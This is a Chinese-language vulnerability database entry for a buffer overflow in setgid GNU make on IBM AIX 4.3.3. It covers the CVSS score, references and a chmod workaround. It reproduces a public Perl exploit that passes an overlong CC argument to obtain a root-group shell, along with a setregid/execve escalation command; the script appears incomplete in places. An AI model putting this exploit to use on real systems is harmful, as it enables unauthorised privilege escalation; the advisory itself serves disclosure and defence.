发布时间 :2004-12-31 00:00:00
修订时间 :2017-07-10 21:31:47

[原文]Buffer overflow in GNU make for IBM AIX 4.3.3, when installed setgid, allows local users to gain privileges via a long CC argument.

[CNNVD]AIX Make CC路径本地缓冲区溢出漏洞(CNNVD-200412-399)

        IBM AIX是一款商业性质UNIX操作系统。
        AIX make读取CC编译器路径时缺少充分边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可以root组权限在系统上执行任意指令。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  FULLDISC  20040322 AIX 4.3.3 has make sgid 0?
(UNKNOWN)  FULLDISC  20040323 Re: AIX 4.3.3 has make sgid 0?
(UNKNOWN)  BID  9903
(UNKNOWN)  XF  aix-make-cc-bo(15554)

- 漏洞信息

AIX Make CC路径本地缓冲区溢出漏洞
高危 边界条件错误
2004-12-31 00:00:00 2006-01-25 00:00:00
        IBM AIX是一款商业性质UNIX操作系统。
        AIX make读取CC编译器路径时缺少充分边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可以root组权限在系统上执行任意指令。

- 公告与补丁


- 漏洞信息 (23838)

GNU Make For IBM AIX 4.3.3 CC Path Local Buffer Overflow Vulnerability (EDBID:23838)
aix local
2003-05-30 Verified
0 watercloud
N/A [点击下载]

GNU make for IBM AIX has been reported to be prone to a buffer overflow vulnerability, the issue is reported to exist due to a lack of sufficient boundary checks performed when reading the path to the CC compiler.

Because the GNU make utility is reported to run with setGID root privileges, a local attacker may potentially exploit this condition to gain access to the root group.

This issue is reported to exist on AIX 4.3.3 platforms.

# FileName:
# Exploit /usr/local/bin/make of Aix4.3.3 to get a gid=0 shell.
# Tested    on low version of Aix4.3.3. 
# Author  :
# Site    : (EN)  / (CN)
# Date    : 2003-5-30
# Announce: use as your owner risk!



print "\n\nExploit $CMD for Aix 4.3.3 to get gid=0 shell.\n";
print "From: [ 2003-5-30 ].\n\n";
print "Note :use this command to get gid=0 after egid=0 :\n";
print "/usr/bin/syscall setregid 0 0 \\; execve '/bin/sh'\n";

$str="k:k.c\n\t\${CC} k.c\n\t";
open  mfd,">Makefile" or die "open file Makefile for write error!\n";
open  kfd,">k.c"     or die "open file .k.c for write error!\n";
print mfd $str,  print kfd $str;
close mfd, close kfd;


foreach $GID ( @GID_LIST) {
  system $CMD ,"CC="."\x2f\xf2\x2b\x40"x300;

unlink "Makefile","k.c";

sub getshell($XID,$GID) {
  my $SHELL,($XID,$GID)=@_;
  return $SHELL;

- 漏洞信息

IBM AIX GNU make Utility CC Option Local Overflow
Local Access Required Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in GNU make when installed on certain versions of IBM AIX The program fails to validate the CC resulting in a possible buffer overflow. With a specially crafted request, an attacker can cause arbitrary command execution as root resulting in a loss of confidentiality and/or integrity.

- 时间线

2004-03-22 Unknow
2004-03-24 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): remove the SUID bit from the program /usr/local/bin/make using the command chmod.

- 相关参考

- 漏洞作者